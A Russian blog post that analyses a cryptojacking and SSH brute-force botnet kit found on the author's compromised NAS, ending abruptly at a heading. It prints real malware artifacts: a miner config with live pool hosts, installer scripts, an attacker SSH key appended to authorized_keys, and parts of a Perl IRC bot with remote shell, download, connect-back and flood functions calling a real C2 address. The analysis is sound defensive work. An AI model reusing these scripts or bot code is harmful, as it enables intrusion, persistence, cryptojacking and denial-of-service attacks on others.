Тайная жизнь Linux сервера или веерная брутфорс атака на подсистему SSH

от автора

Сегодня мой внешний IP был заблокирован в сервисе IVI с сообщением

Ваш ip-адрес идентифицируется как анонимный.  Пожалуйста, обратитесь к своему интернет-провайдеру. IP адрес <IP>. Данные предоставлены maxmind.com

Что это значит?

В базе знаний IVI существует информация об ошибке 4530, пояснение которой, гласит, что на IP адресе детектирован VPN или открытый прокси. Но ничего подобного я сознательно не устанавливал. Мне стало понятно, что мой роутер или NAS, который я недавно добавил в сеть, участвуют в каких-то непристойностях.

Дисклеймер

Материалы, приведенные ниже, несут исключительно научно-исследовательский характер. Данное исследование проводилось автором исключительно в научно-исследовательских целях, его результаты не являются и не могут признаваться руководством к совершению каких-либо противоправных действий. При проведении исследования автор действовал в рамках законодательства Российской Федерации. Использование результатов исследования допускается исключительно в научно-ознакомительных целях. Использование результатов исследования для достижения противоправного или любого иного от научной деятельности результата может повлечь за собой уголовную, административную и (или) гражданско-правовую ответственность. Автор не несет ответственность за инциденты в сфере информационной безопасности, имеющие отношение к тематике исследования.

Разбираемся что же произошло

Проанализировав конфигурацию и логи роутера, я убедился что он чист, а мой NAS стоит в режиме DMZ. Я зашел на NAS и первым делом посмотрел стоит ли на нем fail2ban и активирован ли ufw. Ни того ни другого я не обнаружил, а auth.log был внушительного размера. Похоже, вектором атаки стал брутфорс пароля пользователя через ssh.

Запустив grep -in Accept /var/log/auth.log я увидел следующее

98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2

Злоумышленник успешно вошел под пользователем timemachine c IP адреса 46.101.149.19 во франкфурте. Примечательно, что строка попалась в логе всего один раз, почти неделю назад. Однако. Продолжаем исследования. Вызов

ps -aux | grep timema

Показал такой набор процессов, работающих от имени пользователя

timemac+  3512  123 13.3 302904 267484 ?       Ssl  Dec25 4728:49 ./cron timemac+  3590  0.0  0.1  12884  3232 ?        S    Dec25   0:00 /bin/bash ./go timemac+ 17476  0.0  0.0  11740   924 ?        S    13:47   0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip timemac+ 17477  0.0  0.1  12884  3036 ?        S    13:47   0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip timemac+ 17482  112  2.4 3500784 49616 ?       Sl   13:47 146:11 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301 timemac+ 23184  0.0  0.3  76764  7288 ?        Ss   Dec23   0:00 /lib/systemd/systemd --user timemac+ 23185  0.0  0.1 206708  2204 ?        S    Dec23   0:00 (sd-pam) timemac+ 24436  0.0  0.3  27412  6672 ?        S    Dec24   1:49 rsync timemac+  3512  123 13.3 302904 267484 ?       Ssl  Dec25 4728:51 ./cron timemac+  3590  0.0  0.1  12884  3232 ?        S    Dec25   0:00 /bin/bash ./go timemac+ 17476  0.0  0.0  11740   924 ?        S    13:47   0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip timemac+ 17477  0.0  0.1  12884  3036 ?        S    13:47   0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip timemac+ 17482  112  2.4 3500784 49628 ?       Sl   13:47 146:15 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip timemac+ 23184  0.0  0.3  76764  7288 ?        Ss   Dec23   0:00 /lib/systemd/systemd --user timemac+ 23185  0.0  0.1 206708  2204 ?        S    Dec23   0:00 (sd-pam) timemac+ 24436  0.0  0.3  27412  6672 ?        S    Dec24   1:49 rsync

Похоже, все пути ведут в /dev/shm/.lwp. Посмотрим что там.

Структура малвари

Снапшот рабочей папки

/dev/shm/.lwp ├── apt.conf ├── dota3.tar.gz ├── .out ├── .rsync │   ├── a │   │   ├── a │   │   ├── anacron │   │   ├── bash.pid │   │   ├── cron │   │   ├── dir.dir │   │   ├── init0 │   │   ├── .procs │   │   ├── run │   │   ├── stop │   │   └── upd │   ├── b │   │   ├── a │   │   ├── dir.dir │   │   ├── run │   │   ├── stop │   │   └── sync │   ├── c │   │   ├── a │   │   ├── aptitude │   │   ├── b │   │   ├── cron.d │   │   ├── dir2.dir │   │   ├── dir.dir │   │   ├── go │   │   ├── golan │   │   ├── ip │   │   ├── lib │   │   │   ├── 32 │   │   │   │   ├── libc.so.6 │   │   │   │   ├── libdl.so.2 │   │   │   │   ├── libnss_dns.so.2 │   │   │   │   ├── libnss_files.so.2 │   │   │   │   ├── libpthread.so.0 │   │   │   │   ├── libresolv-2.23.so │   │   │   │   ├── libresolv.so.2 │   │   │   │   └── tsm │   │   │   ├── 64 │   │   │   │   ├── libc.so.6 │   │   │   │   ├── libdl.so.2 │   │   │   │   ├── libnss_dns.so.2 │   │   │   │   ├── libnss_files.so.2 │   │   │   │   ├── libpthread.so.0 │   │   │   │   ├── libresolv-2.23.so │   │   │   │   ├── libresolv.so.2 │   │   │   │   └── tsm │   │   │   └── arm │   │   │       ├── libarmmem-v7l.so │   │   │       ├── libc.so.6 │   │   │       ├── libdl.so.2 │   │   │       ├── libnss_dns.so.2 │   │   │       ├── libpthread.so.0 │   │   │       ├── libresolv.so │   │   │       ├── libresolv.so.2 │   │   │       └── tsm │   │   ├── n │   │   ├── p │   │   ├── run │   │   ├── slow │   │   ├── start │   │   ├── stop │   │   ├── tsm │   │   ├── tsm32 │   │   ├── tsm64 │   │   ├── tsmv7 │   │   ├── v │   │   └── watchdog │   ├── cron.d │   ├── dir.dir │   ├── init │   ├── init2 │   ├── initall │   └── .out └── timemachine  8 directories, 70 files

У трояна можно выделить следующие части

  • Майнер криптовалюты XMRIG (.rsync/a)
  • Шеллбот (.rsync/b)
  • Сканер-брутфорсер (.rsync/c)
  • Ланчер (.rsync/init и компания)

Майнер

Кастомная сборка XMRIG. Собран под архитектуры х86 и х64. Вся кастомность заключается в конфиге, зашитом в бинарник. Попробуем его достать и понять на кого трудилась моя машинка. У XMRIG есть конструктор конфигов. Нащёлкаем любую простую конфигурацию. На выходе мы получаем json такого вида:

Пример конфига

{     "autosave": true,     "cpu": true,     "opencl": false,     "cuda": false,     "pools": [         {             "url": "sdfsdf:3333"         }     ] }

специфичным ключом для поиска выберем "pools". Проверим. Запустим

strings -n5 anacron | less  

и поищем строку "pools".

У нас 100% попадание на искомый конфиг

{     "api": {         "id": null,         "worker-id": null     },     "http": {         "enabled": false,         "host": "127.0.0.1",         "port": 0,         "access-token": null,         "restricted": true     },     "autosave": true,     "version": 1,     "background": true,     "colors": true,     "randomx": {         "init": -1,         "numa": true     },     "cpu": {         "enabled": true,         "huge-pages": true,         "hw-aes": null,         "priority": null,         "memory-pool": false,         "max-threads-hint": 100,         "asm": true,         "argon2-impl": null,         "cn/0": false,         "cn-lite/0": false     },     "opencl": {         "enabled": false,         "cache": true,         "loader": null,         "platform": "AMD",         "cn/0": false,         "cn-lite/0": false     },     "cuda": {         "enabled": false,         "loader": null,         "nvml": true,         "cn/0": false,         "cn-lite/0": false     },     "donate-level": 0,     "donate-over-proxy": 0,     "log-file": null,     "pools": [         {             "coin": "monero",             "algo": null,             "url": "debian-package.center:80",             "user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",             "pass": "x",             "tls": false,             "keepalive": true,             "nicehash": true         },         {             "coin": "monero",             "algo": null,             "url": "45.9.148.125:80",             "user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",             "pass": "x",             "tls": false,             "keepalive": true,             "nicehash": true         },         {             "coin": "monero",             "algo": null,             "url": "45.9.148.129:80",             "user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",             "pass": "x",             "tls": false,             "keepalive": true,             "nicehash": true         }     ],     "print-time": 60,     "health-print-time": 60,     "retries": 5,     "retry-pause": 5,     "syslog": false,     "user-agent": null,     "watch": true }

Малварь майнит монеро на пулах debian-package.center, 45.9.148.125, 45.9.148.129 для юзера 45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ с паролем x доменное имя debian-package.center резолвится в последний по списку ip 45.9.148.129

Интересной особенностью майнера является скрипт запуска a/init0. Перед тем как запустить свою копию, он избавляется от конкурентов и процессов, которые в данный момент занимают более 60% процессорного времени. Поиск конкурентных процессов скрипт осуществляет по имени, сетевой активности и известному месторасположению других малварей. В целом, этот скрипт даже можно использовать в качестве "антивируса"

Скрипт a/init-0

#!/bin/sh  ##########################################################################################\ ### A script for killing cryptocurrecncy miners in a Linux enviornment ### Provided with zero liability (!) ### ### Some of the malware used as sources for this tool: ### https://pastebin.com/pxc1sXYZ ### https://pastebin.com/jRerGP1u ### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4 ##########################################################################################\  # Killing processes by name, path, arguments and CPU utilization processes(){     killme() {       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &     }      killa() {     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&     }      killa 34e2fg     killme      # Killing big CPU     VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)     for word in $VAR     do       CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')       if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;     done      killall \.Historys     killall \.sshd     killall neptune     killall xm64     killall xm32     killall xmrig     killall \.xmrig     killall suppoieup      pkill -f sourplum     pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg      ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9     ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9      ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9     ps auxf|grep named| awk '{print $2}'|xargs kill -9     ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9     ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9     ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9     ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9     ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9      ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9     ps ax|grep -o './[0-9]* -c'| xargs pkill -f      pkill -f /usr/bin/.sshd     pkill -f acpid     pkill -f AnXqV.yam     pkill -f apaceha     pkill -f askdljlqw     pkill -f bashe     pkill -f bashf     pkill -f bashg     pkill -f bashh     pkill -f bashx     pkill -f BI5zj     pkill -f biosetjenkins     pkill -f bonn.sh     pkill -f bonns     pkill -f conn.sh     pkill -f conns     pkill -f cryptonight     pkill -f crypto-pool     pkill -f ddg.2011     pkill -f deamon     pkill -f disk_genius     pkill -f donns     pkill -f Duck.sh     pkill -f gddr     pkill -f Guard.sh     pkill -f i586     pkill -f icb5o     pkill -f ir29xc1     pkill -f irqba2anc1     pkill -f irqba5xnc1     pkill -f irqbalanc1     pkill -f irqbalance     pkill -f irqbnc1     pkill -f JnKihGjn     pkill -f jweri     pkill -f kw.sh     pkill -f kworker34     pkill -f kxjd     pkill -f libapache     pkill -f Loopback     pkill -f lx26     pkill -f mgwsl     pkill -f minerd     pkill -f minergate     pkill -f minexmr     pkill -f mixnerdx     pkill -f mstxmr     pkill -f nanoWatch     pkill -f nopxi     pkill -f NXLAi     pkill -f performedl     pkill -f polkitd     pkill -f pro.sh     pkill -f pythno     pkill -f qW3xT.2     pkill -f sourplum     pkill -f stratum     pkill -f sustes     pkill -f wnTKYg     pkill -f XbashY     pkill -f XJnRj     pkill -f xmrig     pkill -f xmrigDaemon     pkill -f xmrigMiner     pkill -f ysaydh     pkill -f zigw      # crond     ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid     while read crondpid     do         if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]         then             kill $crondpid             rm -rf /var/tmp/v3         fi     done < /tmp/crondpid     rm /tmp/crondpid -f      # sshd     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid     while read sshdpid     do         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]         then             kill $sshdpid         fi     done < /tmp/ssdpid     rm -f /tmp/ssdpid      # syslog     ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid     while read syslogpid     do         if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]         then             kill  $syslogpid         fi     done < /tmp/syslogspid     rm /tmp/syslogspid -f          ps x | grep 'b 22'| awk '{print $1,$5}' > .procs          cat .procs | while read line         do          pid=`echo $line | awk '{print $1;}'`         name=`echo $line | awk '{print $2;}'`         #echo $pid $name           if [ $(echo $name | wc -c) -lt "13" ]             then             echo "Found" $pid $name             kill -9 $pid         fi         done          ####################################################          ps x | grep 'd 22'| awk '{print $1,$5}' > .procs          cat .procs | while read line         do          pid=`echo $line | awk '{print $1;}'`         name=`echo $line | awk '{print $2;}'`         #echo $pid $name           if [ $(echo $name | wc -c) -lt "13" ]             then             echo "Found" $pid $name             kill -9 $pid         fi         done  }  # Removing miners by known path IOC files(){     rm /tmp/.cron     rm /tmp/.main     rm /tmp/.yam* -rf     rm -f /tmp/irq     rm -f /tmp/irq.sh     rm -f /tmp/irqbalanc1     rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius     rm -rf /tmp/*httpd.conf     rm -rf /tmp/*httpd.conf*     rm -rf /tmp/*index_bak*     rm -rf /tmp/.systemd-private-*     rm -rf /tmp/.xm*     rm -rf /tmp/a7b104c270     rm -rf /tmp/conn     rm -rf /tmp/conns     rm -rf /tmp/httpd.conf     rm -rf /tmp/java*     rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so     rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik     rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache     rm -rf /tmp/xm*     rm -rf /var/tmp/java* }  # Killing and blocking miners by network related IOC network(){     # Kill by known ports/IPs     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 }     files processes network echo "DONE"

Шеллбот

Живет в .rsync/b/run и представляет из себя закодированный в base64 и сжатый бэкдор-скрипт на perl, похожий на этот экземпляр. Он так же устанавливает ssh ключ в систему для возможности повторно незаметно восстанавливать доступ к системе.

Скрипт установщика шеллбота

#!/bin/sh nohup ./stop>>/dev/null & sleep 5 echo "<base64>" | base64 --decode | perl cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

Часть декодированного скрипта perl

my $processo = 'rsync';  $servidor='45.9.148.125' unless $servidor; my $porta='443';  my $VERSAO = '0.2a';  sub parse {    my $servarg = shift;    if ($servarg =~ /^PING \:(.*)/) {      sendraw("PONG :$1");    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {        my $pn=$1; my $onde = $4; my $args = $5;        if ($args =~ /^\001VERSION\001$/) {          notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");        }        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {          notice("$pn", "\001PONG\001");        }        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {          if ($onde eq "$meunick"){            shell("$pn", "$args");            }          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {             my $natrix = $1;             my $arg = $2;             if ($arg =~ /^\!(.*)/) {               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);             } elsif ($arg =~ /^\@(.*)/) {                 $ondep = $onde;                 $ondep = $pn if $onde eq $meunick;                 bfunc("$ondep","$1");             } else {                 shell("$onde", "$arg");             }          }        }    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {        if (lc($1) eq lc($meunick)) {          $meunick=$4;          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;        }    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {        $meunick = getnick();        nick("$meunick");    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {        $meunick = $2;        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";        foreach my $canal (@canais) {          sendraw("JOIN $canal");        }    } }  sub bfunc {   my $printl = $_[0];   my $funcarg = $_[1];   if (my $pid = fork) {      waitpid($pid, 0);   } else {       if (fork) {          exit;        } else {            if ($funcarg =~ /^portscan (.*)/) {              my $hostip="$1";              my @portas=("21","22","23","25","53","80","110","143","6665");              my (@aberta, %porta_banner);              ....            }             elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {             getstore("$1", "$2");             sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);             }             elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {              my $hostname="$1";              my $portainicial = "$2";              my $portafinal = "$3";              my (@abertas, %porta_banner);              ...             }              elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {               return unless $pacotes;               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);               my $alvo=inet_aton("$1");               my $porta = "$2";               my $tempo = "$3";               my $pacote;               my $pacotese;               my $fim = time + $tempo;               my $pacota = 1;               ...             }              elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {               return unless $pacotes;               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);               my $faixaip="$1";               my $porta = "$2";               my $tempo = "$3";               my $pacote;               my $pacotes;               my $fim = time + $tempo;               my $pacota = 1;               my $alvo;               ...               if ($estatisticas)               {                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");               }             }              elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {               my $host = "$1";               my $porta = "$2";               my $proto = getprotobyname('tcp');               my $iaddr = inet_aton($host);               my $paddr = sockaddr_in($porta, $iaddr);               my $shell = "/bin/sh -i";               if ($^O eq "MSWin32") {                 $shell = "cmd.exe";               }               ...                if ($estatisticas)               {                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");               }             }             elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {             return unless $pacotes;              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");              $dtime = 1 if $dtime == 0;              my %bytes;              $bytes{igmp} = $2 * $pacotes{igmp};              $bytes{icmp} = $2 * $pacotes{icmp};              $bytes{o} = $2 * $pacotes{o};              $bytes{udp} = $2 * $pacotes{udp};              $bytes{tcp} = $2 * $pacotes{tcp};              unless ($estatisticas)              {                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");              }            }            exit;        }   } }

Беглый анализ скрипта показывает, что бот координируется с IRC сервера 45.9.148.125:443. Функционал стандартный. Он может выполнять

  • Произвольные Shell команды, судя по коду, в т.ч. и на Win32
  • Быстрое сканирование портов "21","22","23","25","53","80","110","143","6665" произвольного хоста
  • Скачивание произвольного url на компьютер жертвы
  • Сканирование диапазона портов произвольного хоста
  • UDP флуд с произвольной скоростью на выбранный хост
  • UDP флуд с произвольной скоростью на подсеть
  • Соединение по TCP с выбранным хостом
  • Выполнять комбинированный флуд igmp, udp, icmp, tcp по всему диапазону портов на хосте

В скрипте так же упомянуты следующие url: http://www.minpop.com/sk12pack/idents.php и http://www.minpop.com/sk12pack/names.php, однако, они выглядят нерабочими.

Этого арсенала хватает, чтобы злоумышленник мог получить контроль над системой и запустить свои процессы.

Сканер-брутфорсер

Самая интересная часть малвари. Будучи запущенным, сканер виден в системе как процесс tsm и пытается подобрать ssh пароли на следующих N хостах и заразить их. В моем случае, я обнаружил файл с 70к ip адресами и небольшой словарь типовых паролей. Сканер имеет свои рантайм библиотеки (std, openssh, dns, resolv,pthread) под архитектуры x32, x64, armv7. За счет этого, зараза может веерно заражать большое количество жертв на разных архитектурах. Каждая зараженная машина становится частью ботнета и наращивает мощность сети.

Внутри исполнимого файла я нашел следующие строки

help

---------------------->Faster than light<----------------------------- --------------------->use only for testing<--------------------------- Use: scan [OPTIONS] [[USER PASS]] FILE] [IPs/IPs Port FILE]         -t [NUMTHREADS]: Change the number of threads used. Default is %d         -m [MODE]: Change the way the scan works. Default is %d         -f [FINAL SCAN]: Does a final scan on found servers. Default is %d         Use -f 1 for A.B class /16. Default is 2 for A.B.C /24         -i [IP SCAN]: use -i 0 to scan ip class A.B. Default is %d         if you use -i 0 then use ./scan -p 22 -i 0 p 192.168 as agrument for ip file         -m 0 for non selective scanning         -P 0 leave default password unchanged. Changes password by default.         -s [TIMEOUT]: Change the timeout. Default is %ld         -S [2ndTIMEOUT]: Change the 2nd timeout. Default is %ld         -p [PORT]: Specify another port to connect to. 0 for multiport         -c [REMOTE-COMMAND]: Command to execute on connect. Use ; or && with commands Use: ./scan -t 202 -s 5 -S 5 p ip -c "uname" Use: ./scan -t 202 -s 5 -S 5 -i 0 -p 22 p 192.168 The example above will scan 192.168 port 22 and brute force the IP list. Use: ./scan -t 202 -s 5 -S 5 -p 0 p ip - for "ip port" file Use: ./scan -t 202 -s 5 -S 5 -p 23 -m 0 p ip - for other protocols When using -m 1 (default value) the scan will only target full linux machines or windows machines with openssh installed. Routers, busyboxes honeypots and other limited linux devices will be skipped from the output. Use -m 0 for non-selective scanning (can be used for all type of ssh devices) this includes busyboxes, routers, honeypots and other devices with limited commands. ================================================================ ==========================================================================

Закодированный в base64 скрипт установщика, вариант 1

#!/bin/bash cd /tmp  rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv /var/tmp/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd .rsync; cat /tmp/.X19-unix/.rsync/initall | bash 2>1& sleep 45s && pkill -9 run && pkill -9 go && pkill -9 tsm exit 0

Закодированный в base64 скрипт установщика, с запуском сканера

#!/bin/bash cd /tmp  rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv /var/tmp/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd /tmp/.X19-unix/.rsync/c nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1& sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1& sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1& exit 0

Cкрипт установщика ssh ключа

